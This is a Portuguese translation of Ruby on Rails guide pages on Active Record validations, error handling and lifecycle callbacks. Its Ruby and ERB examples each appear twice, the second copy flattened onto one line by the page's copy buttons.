class Topic < ApplicationRecord validates :title, length: { is: 5 }, allow_blank: true end Copiar

irb> Topic.create(title: "").valid?
=> true
irb> Topic.create(title: nil).valid?
=> true

Topic.create(title: "").valid? Topic.create(title: nil).valid? Copiar

3.3 :message

Como você já viu, a opção :message permite que você especifique a mensagem que será adicionada à coleção errors quando a validação falhar. Quando esta opção não é usada, o Active Record usará a respectiva mensagem de erro padrão para cada helper de validação. A opção :message aceita uma String ou Proc.

Um valor String de :message pode conter opcionalmente qualquer/tudo de %{value}, %{attribute}, e %{model} que será substituído dinamicamente quando a validação falhar. Esta substituição é feita usando a gem I18n, e as posições devem ser exatamente correspondentes, não são permitidos espaços.

Um valor Proc de :message recebe dois argumentos: o objeto à ser validado, e uma hash com os pares de chave-valor :model, :attributes e :value.

class Person < ApplicationRecord
# Hard-coded message
validates :name, presence: { message: "must be given please" }

# Mensagem com valor de atributo dinâmico. %{value} será substituído
# com o valor real do atributo. %{attribute} e %{model}
# também estão disponíveis.
validates :age, numericality: { message: "%{value} seems wrong" }

# Proc
validates :username,
uniqueness: {
# object = person object being validated
# data = { model: "Person", attribute: "Username", value: <username> }
message: ->(object, data) do
"Hey #{object.name}, #{data[:value]} is already taken."
end
}
end

class Person < ApplicationRecord # Hard-coded message validates :name, presence: { message: "must be given please" } # Mensagem com valor de atributo dinâmico. %{value} será substituído # com o valor real do atributo. %{attribute} e %{model} # também estão disponíveis. validates :age, numericality: { message: "%{value} seems wrong" } # Proc validates :username, uniqueness: { # object = person object being validated # data = { model: "Person", attribute: "Username", value: <username> } message: ->(object, data) do "Hey #{object.name}, #{data[:value]} is already taken." end } end Copiar

3.4 :on

A opção :on permite que você especifique quando a validação deve acontecer. O comportamento padrão para todos os helpers de validação integrados é ser executado ao salvar (tanto ao criar um novo registro quanto ao atualizá-lo). Se você quiser mudar, você pode usar on: :create para rodar a validação apenas quando um novo registro é criado ou on: :update para rodar a validação apenas quando um registro é atualizado.

class Person < ApplicationRecord
# it will be possible to update email with a duplicated value
validates :email, uniqueness: true, on: :create

# it will be possible to create the record with a non-numerical age
validates :age, numericality: true, on: :update

# the default (validates on both create and update)
validates :name, presence: true
end

class Person < ApplicationRecord # it will be possible to update email with a duplicated value validates :email, uniqueness: true, on: :create # it will be possible to create the record with a non-numerical age validates :age, numericality: true, on: :update # the default (validates on both create and update) validates :name, presence: true end Copiar

Você também pode usar on: para definir contextos customizados. O contexto customizado precisa ser acionado explicitamente passando o nome do contexto para valid?, invalid?, ou save.

class Person < ApplicationRecord
validates :email, uniqueness: true, on: :account_setup
validates :age, numericality: true, on: :account_setup
end

class Person < ApplicationRecord validates :email, uniqueness: true, on: :account_setup validates :age, numericality: true, on: :account_setup end Copiar

irb> person = Person.new(age: 'thirty-three')
irb> person.valid?
=> true
irb> person.valid?(:account_setup)
=> false
irb> person.errors.messages
=> {:email=>["has already been taken"], :age=>["is not a number"]}

person = Person.new(age: 'thirty-three') person.valid? person.valid?(:account_setup) person.errors.messages Copiar

person.valid?(:account_setup) executa ambas as validações sem salvar o model. person.save(context: :account_setup) valida person no contexto de account_setup antes de salvar.

Quando acionado por um contexto explícito, as validações são executadas para esse contexto, assim como quaisquer validações sem um contexto.

class Person < ApplicationRecord
validates :email, uniqueness: true, on: :account_setup
validates :age, numericality: true, on: :account_setup
validates :name, presence: true
end

class Person < ApplicationRecord validates :email, uniqueness: true, on: :account_setup validates :age, numericality: true, on: :account_setup validates :name, presence: true end Copiar

irb> person = Person.new
irb> person.valid?(:account_setup)
=> false
irb> person.errors.messages
=> {:email=>["has already been taken"], :age=>["is not a number"], :name=>["can't be blank"]}

person = Person.new person.valid?(:account_setup) person.errors.messages Copiar

4 Validações Estritas

Você também pode especificar validações como estritas e lançar um ActiveModel::StrictValidationFailed quando o objeto é inválido.

class Person < ApplicationRecord
validates :name, presence: { strict: true }
end

class Person < ApplicationRecord validates :name, presence: { strict: true } end Copiar

irb> Person.new.valid?
ActiveModel::StrictValidationFailed: Name can't be blank

Person.new.valid? Copiar

Também é possível passar uma exceção personalizada para a opção :strict.

class Person < ApplicationRecord
validates :token, presence: true, uniqueness: true, strict: TokenGenerationException
end

class Person < ApplicationRecord validates :token, presence: true, uniqueness: true, strict: TokenGenerationException end Copiar

irb> Person.new.valid?
TokenGenerationException: Token can't be blank

Person.new.valid? Copiar

5 Validação com Condicional

Às vezes fará sentido validar um objeto apenas quando uma determinada condição for satisfeita. Você pode fazer isso usando :if e :unless, que podem ser usados como um symbol, uma Proc ou um Array. Você pode usar o :if quando quiser especificar quando uma validação deve ocorrer. Se você quiser especificar quando uma validação não deve ocorrer, você pode usar o :unless.

5.1 Usando um Symbol com :if e :unless

Você pode associar o :if e :unless com um symbol correspondente ao nome do método que será chamado logo antes da validação acontecer. Essa é a opção mais usada.

class Order < ApplicationRecord
validates :card_number, presence: true, if: :paid_with_card?

def paid_with_card?
payment_type == "card"
end
end

class Order < ApplicationRecord validates :card_number, presence: true, if: :paid_with_card? def paid_with_card? payment_type == "card" end end Copiar

5.2 Usando uma Proc com :if e :unless

É possível associar :if e :unless com um objeto Proc que será chamado. O uso de um objeto Proc permite escrever uma condição em apenas uma linha ao invés de em um método separado.

class Account < ApplicationRecord
validates :password, confirmation: true,
unless: Proc.new { |a| a.password.blank? }
end

class Account < ApplicationRecord validates :password, confirmation: true, unless: Proc.new { |a| a.password.blank? } end Copiar

Como as Lambdas são tipos de Proc, elas também podem ser usadas para escrever condições em apenas uma linha de forma mais curta.

validates :password, confirmation: true, unless: -> { password.blank? }

validates :password, confirmation: true, unless: -> { password.blank? } Copiar

5.3 Agrupando Validações com Condicionais

Às vezes, é útil ter várias validações usando a mesma condição. Isso pode ser feito facilmente usando with_options.

class User < ApplicationRecord
with_options if: :is_admin? do |admin|
admin.validates :password, length: { minimum: 10 }
admin.validates :email, presence: true
end
end

class User < ApplicationRecord with_options if: :is_admin? do |admin| admin.validates :password, length: { minimum: 10 } admin.validates :email, presence: true end end Copiar

Todas as validações dentro do bloco with_options terão automaticamente passado a condição if: :is_admin?

5.4 Combinando Validações com Condicionais

Por outro lado, quando várias condições definem se uma validação deve ou não acontecer, podemos usar um Array. Além disso, você pode usar ambos :if e :unless para a mesma validação.

class Computer < ApplicationRecord
validates :mouse, presence: true,
if: [Proc.new { |c| c.market.retail? }, :desktop?],
unless: Proc.new { |c| c.trackpad.present? }
end

class Computer < ApplicationRecord validates :mouse, presence: true, if: [Proc.new { |c| c.market.retail? }, :desktop?], unless: Proc.new { |c| c.trackpad.present? } end Copiar

A validação é executada apenas quando todas as condições :if e nenhuma das condições :unless resultarem em true.

6 Realizando Validações Customizadas

Quando os helpers de validação embutidos não são o bastante para suas necessidades, você pode implementar seus próprios validadores ou métodos de validação como preferir.

6.1 Validadores Customizados

Validadores Customizados são classes que herdam de ActiveModel::Validator. Essas classes devem implementar o método validate, que recebe um record como argumento e realiza as validações nele. O validador customizado é chamado usando o método validates_with.

class MyValidator < ActiveModel::Validator
def validate(record)
unless record.name.start_with? 'X'
record.errors.add :name, "Need a name starting with X please!"
end
end
end

class Person
include ActiveModel::Validations
validates_with MyValidator
end

class MyValidator < ActiveModel::Validator def validate(record) unless record.name.start_with? 'X' record.errors.add :name, "Need a name starting with X please!" end end end class Person include ActiveModel::Validations validates_with MyValidator end Copiar

A maneira mais fácil de adicionar validadores customizados para atributos individuais é com a conveniente classe ActiveModel::EachValidator. Nesse caso, a classe validadora customizada deve implementar um método validate_each, que recebe três argumentos: record, attribute e value. Esses correspondem respectivamente à instância, ao atributo a ser validado e ao valor do atributo na instância recebida.

class EmailValidator < ActiveModel::EachValidator
def validate_each(record, attribute, value)
unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
record.errors.add attribute, (options[:message] || "is not an email")
end
end
end

class Person < ApplicationRecord
validates :email, presence: true, email: true
end

class EmailValidator < ActiveModel::EachValidator def validate_each(record, attribute, value) unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i record.errors.add attribute, (options[:message] || "is not an email") end end end class Person < ApplicationRecord validates :email, presence: true, email: true end Copiar

Como mostrado no exemplo acima, você também pode combinar validações padrão com seus próprios validadores customizados.

6.2 Métodos Customizados

Você também pode criar métodos que verificam o estado de seus models e adicionam erros à coleção errors quando eles são inválidos. Você deve então registrar esses métodos usando o método de classe validate passando os symbols dos nomes dos métodos de validação.

Você pode passar mais do que um symbol para cada método da classe e as respectivas validações serão executadas na mesma ordem que elas foram registradas.

O método valid? verificará se a coleção de erros está vazia, sendo assim seus métodos de validação customizados devem adicionar erros à ela quando você desejar que as validações falhem:

class Invoice < ApplicationRecord
validate :expiration_date_cannot_be_in_the_past,
:discount_cannot_be_greater_than_total_value

def expiration_date_cannot_be_in_the_past
if expiration_date.present? && expiration_date < Date.today
errors.add(:expiration_date, "can't be in the past")
end
end

def discount_cannot_be_greater_than_total_value
if discount > total_value
errors.add(:discount, "can't be greater than total value")
end
end
end

class Invoice < ApplicationRecord validate :expiration_date_cannot_be_in_the_past, :discount_cannot_be_greater_than_total_value def expiration_date_cannot_be_in_the_past if expiration_date.present? && expiration_date < Date.today errors.add(:expiration_date, "can't be in the past") end end def discount_cannot_be_greater_than_total_value if discount > total_value errors.add(:discount, "can't be greater than total value") end end end Copiar

Por padrão, tais validações executarão a cada chamada ao método valid? ou ao salvar o objeto. Mas também é possível controlar quando executar essas validações customizadas informando uma opção :on para o método validate, com :create ou :update.

class Invoice < ApplicationRecord
validate :active_customer, on: :create

def active_customer
errors.add(:customer_id, "is not active") unless customer.active?
end
end

class Invoice < ApplicationRecord validate :active_customer, on: :create def active_customer errors.add(:customer_id, "is not active") unless customer.active? end end Copiar

7 Trabalhando com Erros de Validação

Em adição aos métodos valid? e invalid? cobertos anteriormente, o Rails provê outros métodos para trabalhar com a coleção errors e verificar a validade dos objetos.

A seguir é exibida uma lista dos métodos mais comumente utilizados. Por favor, verifique a documentação do ActiveModel::Errors para uma lista de todos os métodos disponíveis.

7.1 errors

O portão através do qual você pode ver vários detalhes de cada erro.

Retorna uma instância da classe ActiveModel::Errors contendo todos os erros, cada erro é representado por um objeto ActiveModel::Error.

class Person < ApplicationRecord
validates :name, presence: true, length: { minimum: 3 }
end

class Person < ApplicationRecord validates :name, presence: true, length: { minimum: 3 } end Copiar

irb> person = Person.new
irb> person.valid?
=> false
irb> person.errors.full_messages
=> ["Name can't be blank", "Name is too short (minimum is 3 characters)"]

irb> person = Person.new(name: "John Doe")
irb> person.valid?
=> true
irb> person.errors.full_messages
=> []

person = Person.new person.valid? person.errors.full_messages person = Person.new(name: "John Doe") person.valid? person.errors.full_messages Copiar

7.2 errors[]

errors[] é utilizado quando você quiser verificar as mensagens de erro de um atributo em específico. O método retorna um array de strings com todas as mensagens de erro para o atributo informado, cada string contendo uma mensagem de erro. Se não houver erros relacionados com o atributo, o método retorna um array vazio.

class Person < ApplicationRecord
validates :name, presence: true, length: { minimum: 3 }
end

class Person < ApplicationRecord validates :name, presence: true, length: { minimum: 3 } end Copiar

irb> person = Person.new(name: "John Doe")
irb> person.valid?
=> true
irb> person.errors[:name]
=> []

irb> person = Person.new(name: "JD")
irb> person.valid?
=> false
irb> person.errors[:name]
=> ["is too short (minimum is 3 characters)"]

irb> person = Person.new
irb> person.valid?
=> false
irb> person.errors[:name]
=> ["can't be blank", "is too short (minimum is 3 characters)"]

person = Person.new(name: "John Doe") person.valid? person.errors[:name] person = Person.new(name: "JD") person.valid? person.errors[:name] person = Person.new person.valid? person.errors[:name] Copiar

7.3 errors.where e objetos de erro

Às vezes, podemos precisar de mais informações sobre cada erro e sua mensagem. Cada erro é encapsulado como um objeto ActiveModel::Error e o método where é a forma mais comum de acesso.

where retorna um array de objetos de erro, filtrados por vários graus de condições.

class Person < ApplicationRecord
validates :name, presence: true, length: { minimum: 3 }
end

class Person < ApplicationRecord validates :name, presence: true, length: { minimum: 3 } end Copiar

irb> person = Person.new
irb> person.valid?
=> false

irb> person.errors.where(:name)
=> [ ... ] # todos os erros para o atributo :name

irb> person.errors.where(:name, :too_short)
=> [ ... ] # erros :too_short para o atributo :name

person = Person.new person.valid? person.errors.where(:name) person.errors.where(:name, :too_short) Copiar

Você pode ler várias informações desses objetos de erro:

irb> error = person.errors.where(:name).last

irb> error.attribute
=> :name
irb> error.type
=> :too_short
irb> error.options[:count]
=> 3

error = person.errors.where(:name).last error.attribute error.type error.options[:count] Copiar

Você também pode gerar a mensagem de erro:

irb> error.message
=> "is too short (minimum is 3 characters)"
irb> error.full_message
=> "Name is too short (minimum is 3 characters)"

error.message error.full_message Copiar

O método full_message gera uma mensagem mais legível, que começa com o atributo com a primeira letra maiúscula.

7.4 errors.add

O método add permite que você crie um objeto de erro usando o atributo em particular, o tipo do erro e um hash de opções adicional. Isso pode ser útil quando tiver escrevendo seus validadores (validators).

class Person < ApplicationRecord
validate do |person|
errors.add :name, :too_plain, message: "is not cool enough"
end
end

class Person < ApplicationRecord validate do |person| errors.add :name, :too_plain, message: "is not cool enough" end end Copiar

irb> person = Person.create
irb> person.errors.where(:name).first.type
=> :too_plain
irb> person.errors.where(:name).first.full_message
=> "Name is not cool enough"

person = Person.create person.errors.where(:name).first.type person.errors.where(:name).first.full_message Copiar

7.5 errors[:base]

Voce pode adicionar erros relacionadas ao estado do objeto como um todo, ao invés de estarem relacionadas a um atributo em específico. Você pode adicionar erros ao :base quando quiser dizer que o objeto é inválido, não importando os valores de seus atributos.

class Person < ApplicationRecord
validate do |person|
errors.add :base, :invalid, message: "This person is invalid because ..."
end
end

class Person < ApplicationRecord validate do |person| errors.add :base, :invalid, message: "This person is invalid because ..." end end Copiar

irb> person = Person.create
irb> person.errors.where(:base).first.full_message
=> "This person is invalid because ..."

person = Person.create person.errors.where(:base).first.full_message Copiar

7.6 errors.clear

O método clear é usado quando você intencionalmente quiser limpar toda a coleção errors. É claro que, ao chamar o método errors.clear sobre um objeto inválido não irá torná-lo válido: a coleção errors estará agora vazia, mas a próxima vez que você chamar valid? ou qualquer método que tente salvar esse objeto na base de dados, as validações serão executadas novamente. Se qualquer uma das validações falhar, a coleção errors será preenchida de novo.

class Person < ApplicationRecord
validates :name, presence: true, length: { minimum: 3 }
end

class Person < ApplicationRecord validates :name, presence: true, length: { minimum: 3 } end Copiar

irb> person = Person.new
irb> person.valid?
=> false
irb> person.errors.empty?
=> false

irb> person.errors.clear
irb> person.errors.empty?
=> true

irb> person.save
=> false

irb> person.errors.empty?
=> false

person = Person.new person.valid? person.errors.empty? person.errors.clear person.errors.empty? person.save person.errors.empty? Copiar

7.7 errors.size

O método size retorna o número total de erros para o objeto.

class Person < ApplicationRecord
validates :name, presence: true, length: { minimum: 3 }
end

class Person < ApplicationRecord validates :name, presence: true, length: { minimum: 3 } end Copiar

irb> person = Person.new
irb> person.valid?
=> false
irb> person.errors.size
=> 2

irb> person = Person.new(name: "Andrea", email: "andrea@example.com")
irb> person.valid?
=> true
irb> person.errors.size
=> 0

person = Person.new person.valid? person.errors.size person = Person.new(name: "Andrea", email: "andrea@example.com") person.valid? person.errors.size Copiar

8 Exibindo Erros de Validação nas Views

Uma vez criado o model e adicionada as validações, se o model é criado via formulário web, você provavelmente quer mostrar uma mensagem de erro quando uma das validações falhar.

Devido a cada aplicação lidar com esse tipo de cenário de forma diferente, o Rails não inclui nenhum helper na view para ajudar a gerar essas mensagens diretamente. Contudo, devido ao rico número de métodos que o Rails nos da para interagirmos com validações em geral, podemos criar as nossas próprias validações. Além disso, quando geramos o scaffold, o Rails colocará algum ERB dentro de _form.html.erb que ele gera, exibindo a lista completa de erros naquele model.

Supondo que temos um modelo que foi salvo em uma variável de instância chamada @article, terá a seguinte aparência:

<% if @article.errors.any? %>
<div id="error_explanation">
<h2><%= pluralize(@article.errors.count, "error") %> prohibited this article from being saved:</h2>

<ul>
<% @article.errors.each do |error| %>
<li><%= error.full_message %></li>
<% end %>
</ul>
</div>
<% end %>

<% if @article.errors.any? %> <div id="error_explanation"> <h2><%= pluralize(@article.errors.count, "error") %> prohibited this article from being saved:</h2> <ul> <% @article.errors.each do |error| %> <li><%= error.full_message %></li> <% end %> </ul> </div> <% end %> Copiar

Portanto, se você usar os helpers de formulário do Rails para gerar seus formulários, quando um erro de validação ocorrer em um campo, isso vai gerar uma <div> extra ao redor da entrada.

<div class="field_with_errors">
<input id="article_title" name="article[title]" size="30" type="text" value="">
</div>

<div class="field_with_errors"> <input id="article_title" name="article[title]" size="30" type="text" value=""> </div> Copiar

Você pode definir o estilo desta div como preferir. O scaffold padrão que o Rails gera, por exemplo, adiciona essa regra CSS:

.field_with_errors {
padding: 2px;
background-color: red;
display: table;
}

.field_with_errors { padding: 2px; background-color: red; display: table; } Copiar

Isso significa que qualquer campo com erro termina com 2 pixels de borda vermelha.

Active Record Callbacks — Ruby on...

1 O Ciclo de Vida do Objeto

Durante a operação normal de uma aplicação Rails, objetos podem ser criados, atualizados e destruídos. O Active Record fornece hooks para este ciclo de vida do objeto para que você possa controlar sua aplicação e seus dados.

Callbacks permitem você desencadear a lógica antes ou depois de uma alteração do estado de um objeto.

2 Visão geral de Callbacks

Callbacks são métodos que são chamados em certos momentos do ciclo de vida de um objeto. Com callbacks é possível escrever código que rodará sempre que um objeto Active Record é criado, salvo, atualizado, deletado, validado ou carregado de um banco de dados.

2.1 Registro de Callback

Para usar os callbacks disponíveis, você precisa registrá-los. Você pode implementar os callbacks como métodos comuns e usar o método macro-style de uma classe para registrá-los como callbacks:

class User < ApplicationRecord
validates :login, :email, presence: true

before_validation :ensure_login_has_a_value

private
def ensure_login_has_a_value
if login.nil?
self.login = email unless email.blank?
end
end
end

class User < ApplicationRecord validates :login, :email, presence: true before_validation :ensure_login_has_a_value private def ensure_login_has_a_value if login.nil? self.login = email unless email.blank? end end end Copiar

Os métodos macro-style de uma classe podem também receber um bloco. Considere usar esse estilo se o código dentro do seu bloco é tão curto que cabe em uma linha:

class User < ApplicationRecord
validates :login, :email, presence: true

before_create do
self.name = login.capitalize if name.blank?
end
end

class User < ApplicationRecord validates :login, :email, presence: true before_create do self.name = login.capitalize if name.blank? end end Copiar

Callbacks também podem ser registrados para rodar apenas em certos eventos do ciclo de vida:

class User < ApplicationRecord
before_validation :normalize_name, on: :create

# :on takes an array as well
after_validation :set_location, on: [ :create, :update ]

private
def normalize_name
self.name = name.downcase.titleize
end

def set_location
self.location = LocationService.query(self)
end
end

class User < ApplicationRecord before_validation :normalize_name, on: :create # :on takes an array as well after_validation :set_location, on: [ :create, :update ] private def normalize_name self.name = name.downcase.titleize end def set_location self.location = LocationService.query(self) end end Copiar

É considerado uma boa prática declarar métodos de callback como privados. Se deixados como públicos, podem ser chamados de fora do model e violar o princípio de encapsulamento de um objeto.

3 Callbacks Disponíveis

Aqui está uma lista com todos os Active Record callbacks, listados na mesma ordem na qual eles serão chamados durante as respectivas operações:

3.1 Criando um Objeto

- before_validation

- after_validation

- before_save

- around_save

- before_create

- around_create

- after_create

- after_save

- after_commit / after_rollback

3.2 Atualizando um Objeto

- before_validation

- after_validation

- before_save

- around_save

- before_update

- around_update

- after_update

- after_save

- after_commit / after_rollback

3.3 Destruindo um Objeto

- before_destroy

- around_destroy

- after_destroy

- after_commit / after_rollback

after_save roda tanto na criação quanto na atualização, mas sempre depois de callbacks mais específicos after_create e after_update, não importa a ordem que uma chamada macro foi executada.

Evite atualizar ou salvar atributos em callbacks. Por exemplo, não chame update(attribute: "value") em um callback. Isso pode alterar o estado do model e resultar em efeitos colaterais inesperados durante a confirmação. Em vez disso, você pode atribuir valores diretamente com segurança (por exemplo, self.attribute = "value") em before_create / before_update ou callbacks anteriores.

Os callbacks before_destroy devem ser posicionados antes de associações dependent: :destroy (ou use a opção prepend: true), para garantir que executem antes dos registros serem deletados pelo dependent: :destroy.

3.4 after_initialize e after_find

O callback after_initialize será chamado sempre que um objeto Active Record for instanciado, usando diretamente new ou quando um registro é carregado do banco de dados. Isto pode ser útil para evitar a necessidade de substituir diretamente seu método initialize do Active Record.

O callback after_find será chamado sempre que o Active Record carregar um registro do banco de dados. after_find é chamado antes de after_initialize se ambos estiverem definidos.

Os callbacks after_initialize e after_find não possuem complementos before_*, mas podem ser registrados como os outros callbacks de Active Record.

class User < ApplicationRecord
after_initialize do |user|
puts "You have initialized an object!"
end

after_find do |user|
puts "You have found an object!"
end
end

class User < ApplicationRecord after_initialize do |user| puts "You have initialized an object!" end after_find do |user| puts "You have found an object!" end end Copiar

irb> User.new
You have initialized an object!
=> #<User id: nil>

irb> User.first
You have found an object!
You have initialized an object!
=> #<User id: 1>

User.new User.first Copiar

3.5 after_touch

O callback after_touch será chamado sempre que um objeto Active Record for alcançado.

class User < ApplicationRecord
after_touch do |user|
puts "You have touched an object"
end
end

class User < ApplicationRecord after_touch do |user| puts "You have touched an object" end end Copiar

irb> u = User.create(name: 'Kuldeep')
=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49">

irb> u.touch
You have touched an object
=> true

u = User.create(name: 'Kuldeep') u.touch Copiar

Pode ser usado junto de belongs_to:

class Employee < ApplicationRecord
belongs_to :company, touch: true
after_touch do
puts 'An Employee was touched'
end
end

class Company < ApplicationRecord
has_many :employees
after_touch :log_when_employees_or_company_touched

private
def log_when_employees_or_company_touched
puts 'Employee/Company was touched'
end
end

class Employee < ApplicationRecord belongs_to :company, touch: true after_touch do puts 'An Employee was touched' end end class Company < ApplicationRecord has_many :employees after_touch :log_when_employees_or_company_touched private def log_when_employees_or_company_touched puts 'Employee/Company was touched' end end Copiar

irb> @employee = Employee.last
=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">

irb> @employee.touch # também executa @employee.company.touch
An Employee was touched
Employee/Company was touched
=> true

@employee = Employee.last @employee.touch # também executa @employee.company.touch Copiar

4 Executando Callbacks

Os métodos a seguir acionam callbacks:

- create

- create!

- destroy

- destroy!

- destroy_all

- destroy_by

- save

- save!

- save(validate: false)

- toggle!

- touch

- update_attribute

- update

- update!

- valid?

Adicionalmente, o callback after_find é acionado pelos seguintes métodos de localização:

- all

- first

- find

- find_by

- find_by_*

- find_by_*!

- find_by_sql

- last

O callback after_initialize é acionado toda vez que um novo objeto da classe é inicializado.

Os métodos find_by_* e find_by_*! são localizadores dinâmicos gerados automaticamente para cada atributo. Aprenda mais sobre eles na seção de Localizadores Dinâmicos

5 Ignorando Callbacks

Assim como nas validações, também é possível ignorar os callbacks usando os seguintes métodos:

- decrement!

- decrement_counter

- delete

- delete_all

- delete_by

- increment!

- increment_counter

- insert

- insert!

- insert_all

- insert_all!

- touch_all

- update_column

- update_columns

- update_all

- update_counters

- upsert

- upsert_all

Contudo, esses métodos devem ser usados com cautela, porque regras de negócio importantes e lógica da aplicação podem ser mantidos nos callbacks. Contorná-los sem entender as potenciais implicações pode levar a dados inválidos.

6 Interrompendo uma Execução

Quando você começar a registrar novos callbacks para seus models, eles serão enfileirados para a execução. Esta fila incluirá todas as validações do seu model, os callbacks registrados e a operação do banco de dados a ser executada.

Toda a cadeia do callback é empacotada em uma transação. Se algum callback lança uma exceção, a cadeia de execução é interrompida e um ROLLBACK é emitido. Para interromper intencionalmente uma cadeia, use:

throw :abort

throw :abort Copiar

Qualquer exceção que não seja ActiveRecord::Rollback ou ActiveRecord::RecordInvalid serão lançadas novamente pelo Rails após a cadeia do callback ser interrompida. Lançar uma outra exceção que não ActiveRecord::Rollback ou ActiveRecord::RecordInvalid pode quebrar um código que não espera por métodos como save ou update (os quais normalmente tentam retornar true ou false) para lançar uma exceção.

7 Callbacks Relacionais

Callbacks trabalham através de relacionamentos dos models e podem até ser definidos por eles. Suponha um exemplo onde um usuário tenha muitos artigos. Um artigo de um usuário deve ser apagado se o usuario for apagado. Vamos adicionar um callback after_destroy para o model User por meio de seu relacionamento com o model Article:

class User < ApplicationRecord
has_many :articles, dependent: :destroy
end

class Article < ApplicationRecord
after_destroy :log_destroy_action

def log_destroy_action
puts 'Article destroyed'
end
end

class User < ApplicationRecord has_many :articles, dependent: :destroy end class Article < ApplicationRecord after_destroy :log_destroy_action def log_destroy_action puts 'Article destroyed' end end Copiar

irb> user = User.first
=> #<User id: 1>
irb> user.articles.create!
=> #<Article id: 1, user_id: 1>
irb> user.destroy
Article destroyed
=> #<User id: 1>

user = User.first user.articles.create! user.destroy Copiar

8 Callbacks Condicionais

Tal como acontece com as validações, também podemos tornar a chamada de um método de callback condicional à satisfação de um determinado predicado. Podemos fazer isso utilizando as opções :if e :except, que podemo recever um símbolo, uma Proc ou um Array. Você pode utilizar a opção :if quando quiser especificar sob quais condições o callback deve ser chamado. Se você deseja especificar as condições sob as quais o callback não deve ser chamado, você pode utilizar a opção :unless.

8.1 Utilizando :if e :unless com um Symbol

Você pode associar as opções :if e :unless com um symbol correspondente ao nome de um método predicado que será chamado logo antes do callback. Ao utilizar a opção :if, o callback não será executado se o método predicado retornar false (falso); ao utilizar a opção :unless, o callback não será executado se o método predicado retornar true (verdadeiro). Esta é a opção mais comum. Utilizando esta forma de registro também é possível registrar vários predicados diferentes que devem ser chamado para verificar se o callback deve ser executado.

class Order < ApplicationRecord
before_save :normalize_card_number, if: :paid_with_card?
end

class Order < ApplicationRecord before_save :normalize_card_number, if: :paid_with_card? end Copiar

8.2 Utilizando :if e :unless com uma Proc

É possível associar :if e :unless com um objeto Proc. Esta opção é mais adequada ao escrever métodos curtos de validação, geralmente de uma linha:

class Order < ApplicationRecord
before_save :normalize_card_number,
if: Proc.new { |order| order.paid_with_card? }
end

class Order < ApplicationRecord before_save :normalize_card_number, if: Proc.new { |order| order.paid_with_card? } end Copiar

Como a proc é avaliada no contexto do objeto, também é possível escrever isso como:

class Order < ApplicationRecord
before_save :normalize_card_number, if: Proc.new { paid_with_card? }
end

class Order < ApplicationRecord before_save :normalize_card_number, if: Proc.new { paid_with_card? } end Copiar

8.3 Múltiplas Condições para Callbacks

Ao escrever callbacks condicionais, é possível misturar :if e :unless na mesma declaração do callback:

class Comment < ApplicationRecord
after_create :send_email_to_author, if: :author_wants_emails?,
unless: Proc.new { |comment| comment.article.ignore_comments? }
end

class Comment < ApplicationRecord after_create :send_email_to_author, if: :author_wants_emails?, unless: Proc.new { |comment| comment.article.ignore_comments? } end Copiar

8.4 Combinando Condições de Callback

Quando várias condições definem se um callback deve ou não acontecer, um Array pode ser utilizado. Além disso, você pode aplicar :if e :unless para o mesmo callback.

class Comment < ApplicationRecord
after_create :send_email_to_author,
if: [Proc.new { |c| c.user.allow_send_email? }, :author_wants_emails?],
unless: Proc.new { |c| c.article.ignore_comments? }
end

class Comment < ApplicationRecord after_create :send_email_to_author, if: [Proc.new { |c| c.user.allow_send_email? }, :author_wants_emails?], unless: Proc.new { |c| c.article.ignore_comments? } end Copiar

O callback só é executado quando todas as condições :if e nenhuma das condições :unless retornarem true.

9 Classes Callback

Em algumas situações, os métodos de Callback que iremos escrever serão úteis para serem reutilizados por outros models. O Active Record possibilita a criação de classes que encapsulam os métodos callback , para que eles possam ser reutilizados.

Aqui está um exemplo onde criamos uma classe com um callback after_destroy para o model PictureFile:

class PictureFileCallbacks
def after_destroy(picture_file)
if File.exist?(picture_file.filepath)
File.delete(picture_file.filepath)
end
end
end

class PictureFileCallbacks def after_destroy(picture_file) if File.exist?(picture_file.filepath) File.delete(picture_file.filepath) end end end Copiar

Quando declaramos dentro da classe, como foi feito acima, os métodos callback irão receber o model como parâmetro. Agora poderemos usar a classe callback no model:

class PictureFile < ApplicationRecord
after_destroy PictureFileCallbacks.new
end

class PictureFile < ApplicationRecord after_destroy PictureFileCallbacks.new end Copiar

Perceba que precisamos instanciar um novo objeto chamado PictureFileCallbacks, já que declaramos nosso callback como um método de instância. Particularmente, isso é útil se os callbacks fazem uso do estado do objeto instanciado. Porém fará mais sentido declarar os callbacks como métodos de classe com mais frequência:

class PictureFileCallbacks
def self.after_destroy(picture_file)
if File.exist?(picture_file.filepath)
File.delete(picture_file.filepath)
end
end
end

class PictureFileCallbacks def self.after_destroy(picture_file) if File.exist?(picture_file.filepath) File.delete(picture_file.filepath) end end end Copiar

Se o método callback é declarado dessa forma, não será necessário instanciar o objeto PictureFileCallbacks

class PictureFile < ApplicationRecord
after_destroy PictureFileCallbacks
end

class PictureFile < ApplicationRecord after_destroy PictureFileCallbacks end Copiar

Você pode declarar dentro de suas classes callback quantos callback achar necessário.

10 Callbacks de Transação

Existem dois callbacks adicionais que são disparados quando se completa uma transação de banco de dados: after_commit e after_rollback. Estes callbacks são muito parecidos com o callback after_save, exceto que eles não são executados até que as mudanças no banco de dados sejam confirmadas ou desfeitas. Eles são mais úteis quando seus active record models precisam de interagir com sistemas externos que não fazem parte da transação do banco de dados.

Considere, por exemplo, o exemplo anterior onde o model PictureFile precisa de apagar um arquivo depois que um registro correspondente é destruído. Se algo lançar uma exceção depois que o callback after_destroy for chamado e a transação for desfeita, o arquivo terá sido deletado e o model será deixado em um estado inconsistente. Por exemplo, suponha que picture_file_2 no código abaixo não é valido e o método save! lança um erro.

PictureFile.transaction do
picture_file_1.destroy
picture_file_2.save!
end

PictureFile.transaction do picture_file_1.destroy picture_file_2.save! end Copiar

Usando o callback after_commit nós podemos responder por esse caso.

class PictureFile < ApplicationRecord
after_commit :delete_picture_file_from_disk, on: :destroy

def delete_picture_file_from_disk
if File.exist?(filepath)
File.delete(filepath)
end
end
end

class PictureFile < ApplicationRecord after_commit :delete_picture_file_from_disk, on: :destroy def delete_picture_file_from_disk if File.exist?(filepath) File.delete(filepath) end end end Copiar

A opção :on especifica quando um callback vai ser disparado. Se você não fornecer a opção :on o callback será disparado para cada ação.

